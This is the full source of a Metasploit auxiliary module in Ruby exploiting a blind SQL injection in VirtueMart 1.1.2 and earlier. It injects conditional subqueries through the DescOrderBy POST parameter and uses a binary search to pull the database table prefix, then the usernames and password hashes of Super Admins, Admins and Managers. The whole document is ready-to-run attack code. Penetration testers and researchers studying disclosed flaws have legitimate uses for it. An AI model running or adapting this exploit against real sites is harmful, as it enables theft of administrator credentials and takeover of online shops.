| 
 
|  | require 'msf/core'
 
 class Metasploit3 < Msf::Auxiliary
 
 include Msf::Exploit::Remote::HttpClient
 
 def initialize(info = {})
 super(update_info(info,
 'Name'           => 'VirtueMart <= 1.1.2 Sql Injection Exploit',
 'Description'    => %q{
 This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.
 },
 'Author'         => 'Janek Vind "waraxe" <come2waraxe[at]yahoo.com>',
 'License'        => MSF_LICENSE,
 'Version'        => '1.0',
 'References'     =>
 [
 ['BID', '33480'],
 ['URL', 'http://www.waraxe.us/advisory-71.html'],
 ['URL', 'http://secunia.com/advisories/33671/']
 ],
 'DisclosureDate' => 'Jan 24 2009'))
 
 register_options(
 [
 OptString.new('URI', [false, 'Path to VirtueMart', '']),
 OptInt.new('TARGETID', [false, 'Target ID (optional)']),
 OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']),
 OptBool.new('ALLSA', [ false,  'Fetch all Super Admins', true]),
 OptBool.new('ALLA', [ false,  'Fetch all Admins', false]),
 OptBool.new('ALLM', [ false,  'Fetch all Managers', false]),
 ], self.class)
 
 end
 
 def run
 
 @marker = 'name="addtocart"'
 @target_uri = '/' + datastore['URI'] + '/'
 @target_uri = @target_uri.gsub(/\/{2,}/, '/')
 @target_id = datastore['TARGETID']
 @target_prefix = datastore['PREFIX']
 @requests = @fetched = 0
 time_start = Time.now.to_i
 
 # debug_level=2 - more debug messages, 1 - less
 @debug_level = 1
 
 if(!pre_test)
 print_error('Exploit failed in pre-test phase')
 return
 end
 
 if(datastore['ALLSA'])
 if(!get_users(1))
 print_error('Exploit failed fetching Super Admins')
 return
 end
 end
 
 if(datastore['ALLA'])
 if(!get_users(2))
 print_error('Exploit failed fetching Admins')
 return
 end
 end
 
 if(datastore['ALLM'])
 if(!get_users(3))
 print_error('Exploit failed fetching Managers')
 return
 end
 end
 
 if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM']))
 print_status('Target ID or group(s) not specified, fetching Super Admins as default')
 if(!get_users(1))
 print_error('Exploit failed fetching Super Admins')
 return
 end
 end
 
 if(@target_id > 1)
 if(!get_user())
 print_error("Exploit failed fetching user with ID=#{@target_id}")
 return
 end
 end
 
 time_spent = Time.now.to_i - time_start
 
 print_status("Exploitation results:")
 print_status("Got data for  #{@fetched} users")
 print_status("Total time spent: #{time_spent} seconds")
 print_status("HTTP requests needed: #{@requests}")
 
 end
 ############################################################
 def make_post(post_data)
 
 timeout = 30
 
 begin
 
 res = send_request_cgi({
 'uri'     => @target_uri,
 'method'  => 'POST',
 'data'  => post_data,
 }, timeout)
 
 if(res and res.body)
 @requests += 1
 return res.body
 else
 print_error('No response from server')
 return nil
 end
 
 rescue ::Exception
 print_error("Error: #{$!.class} #{$!}")
 return nil
 end
 end
 ############################################################
 def test_condition(condition)
 
 max_tries = 10
 
 post_data  = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,"
 post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"
 
 1.upto(max_tries) do |i|
 
 buf = make_post(post_data)
 
 if(buf)
 return buf.include?(@marker)
 else
 print_status("Sleeping #{i} seconds")
 sleep(i)
 print_status("Awake, retry ##{i}")
 end
 end
 
 return nil
 end
 ############################################################
 def pre_test
 
 post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1'
 buf = make_post(post_data) or return false
 
 if(!buf.include?(@marker))
 print_error('Pre-test 1 failed - VirtueMart not detected')
 return false
 else
 print_status('Pre-test 1 passed - VirtueMart detected')
 end
 
 post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,'
 buf = make_post(post_data) or return false
 
 if(buf.include?(@marker))
 print_error('Pre-test 2 failed - target is patched?')
 return false
 else
 print_status('Pre-test 2 passed - injection detected')
 end
 
 post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)'
 buf = make_post(post_data) or return false
 
 if(!buf.include?(@marker))
 print_error('Pre-test 3 failed - subselects not supported?')
 return false
 else
 print_status('Pre-test 3 passed - subselects supported')
 end
 
 if(@target_prefix == '')
 print_status('Prefix not provided, trying to fetch')
 @target_prefix = get_prefix
 if(!@target_prefix)
 print_error('Prefix fetch failed')
 return false
 else
 print_status("Prefix fetched: #{@target_prefix}")
 return true
 end
 end
 
 post_data  = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," +
 "(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"
 
 buf = make_post(post_data) or return false
 
 if(!buf.include?(@marker))
 print_error('Pre-test 4 failed - wrong prefix?')
 print_status('Trying to fetch valid prefix')
 @target_prefix = get_prefix
 if(!@target_prefix)
 print_error('Prefix fetch failed')
 return false
 else
 print_status("Prefix fetched: #{@target_prefix}")
 return true
 end
 else
 print_status('Pre-test 4 passed - prefix OK')
 end
 
 return true
 end
 ############################################################
 def get_char(pattern, min, max)
 
 num = get_num(pattern, min, max) or return nil
 
 return num.chr
 
 end
 ############################################################
 def get_hash(group = nil, u_pos = nil)
 
 hash = ''
 
 if(group and u_pos)
 pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
 else
 pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})"
 end
 
 p_len = get_num(pattern, 32, 100) or return nil
 
 print_status("Got hash length: #{p_len.to_s}")
 
 1.upto(p_len) do |pos|
 print_status("Finding hash char pos #{pos}") if @debug_level > 0
 
 if(group and u_pos)
 pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
 else
 pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
 end
 
 c = get_char(pattern, 32, 128) or return nil
 
 hash << c
 print_status("Known: #{hash}") if @debug_level > 0
 
 end
 
 return hash
 
 end
 ############################################################
 def get_prefix
 
 prefix = ''
 
 post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' +
 '(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)'
 buf = make_post(post_data) or return false
 
 if(!buf.include?(@marker))
 print_error('INFORMATION_SCHEMA not found - mysql < 5.0?')
 return false
 else
 print_status('INFORMATION_SCHEMA detected, proceed')
 end
 
 pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' +
 ' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)'
 
 p_len = get_num(pattern, 5, 100) or return nil
 p_len -= 10
 
 if(p_len < 0)
 print_error("Invalid prefix length: #{p_len.to_s}")
 return false
 elsif(p_len == 0)
 print_status('Prefix seems to be empty')
 @target_prefix = ''
 return true
 else
 print_status("Got prefix length: #{p_len.to_s}")
 end
 
 1.upto(p_len) do |pos|
 print_status("Finding prefix char pos #{pos}") if @debug_level > 0
 
 pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" +
 " WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)"
 
 c = get_char(pattern, 32, 128) or return nil
 
 prefix << c
 print_status("Known: #{prefix}") if @debug_level > 0
 
 end
 
 return prefix
 end
 ############################################################
 def get_num(pattern, min = 1, max = 100)
 
 curr = 0;
 
 while(1)
 
 area = max - min
 if(area < 2 )
 post_data = "#{pattern}=#{max}"
 eq = test_condition(post_data)
 
 if(eq == nil)
 return nil
 elsif(eq)
 len = max
 else
 len = min
 end
 
 break
 end
 
 half = area / 2
 curr = min + half
 
 post_data = "#{pattern}>#{curr}"
 
 bigger = test_condition(post_data)
 
 if(bigger == nil)
 return nil
 elsif(bigger)
 min = curr
 else
 max = curr
 end
 
 print_status("Current: #{min}-#{max}") if @debug_level > 1
 
 end
 
 return len
 
 end
 ############################################################
 def get_username(group = nil, u_pos = nil)
 
 username = ''
 
 if(group and u_pos)
 pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
 else
 pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})"
 end
 
 u_len = get_num(pattern, 1, 150) or return nil
 
 print_status("Got username length: #{u_len.to_s}")
 
 1.upto(u_len) do |pos|
 print_status("Finding username char pos #{pos}") if @debug_level > 0
 
 if(group and u_pos)
 pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
 else
 pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
 end
 
 c = get_char(pattern, 32, 128) or return nil
 
 username << c
 print_status("Known: #{username}") if @debug_level > 0
 
 end
 
 return username
 
 end
 ############################################################
 def get_users(group)
 
 if(group == 1)
 usertype = '0x53757065722041646d696e6973747261746f72'
 print_status('Starting to fetch all Super Admins')
 elsif(group == 2)
 usertype = '0x41646d696e6973747261746f72'
 print_status('Starting to fetch all Admins')
 else
 usertype = '0x4d616e61676572'
 print_status('Starting to fetch all Managers')
 end
 
 pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})"
 
 u_cnt = get_num(pattern, 0, 100) or return nil
 
 print_status("Targets to fetch: #{u_cnt.to_s}")
 
 0.upto(u_cnt - 1) do |pos|
 
 print_status("Fetching user pos #{pos}")
 
 username = get_username(usertype, pos) or return nil
 hash = get_hash(usertype, pos) or return nil
 @fetched += 1
 
 print_status(
 "Got user data:" +
 "\n==============================\n" +
 "Username: #{username}\n" +
 "Hash: #{hash}" +
 "\n=============================="
 )
 
 end
 
 return true
 end
 ############################################################
 def get_user
 
 print_status("Testing user ID=#{@target_id}")
 pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})"
 u_cnt = get_num(pattern, 0, 100) or return nil
 
 if(u_cnt != 1)
 print_error("No user with ID=#{@target_id}")
 return true
 end
 
 print_status("Working with user ID=#{@target_id}")
 
 username = get_username or return nil
 hash = get_hash or return nil
 @fetched += 1
 
 print_status(
 "Got user data:" +
 "\n==============================\n" +
 "Username: #{username}\n" +
 "Hash: #{hash}" +
 "\n=============================="
 )
 
 return true
 end
 ############################################################
 end
 
 
 
 |   
|  |  |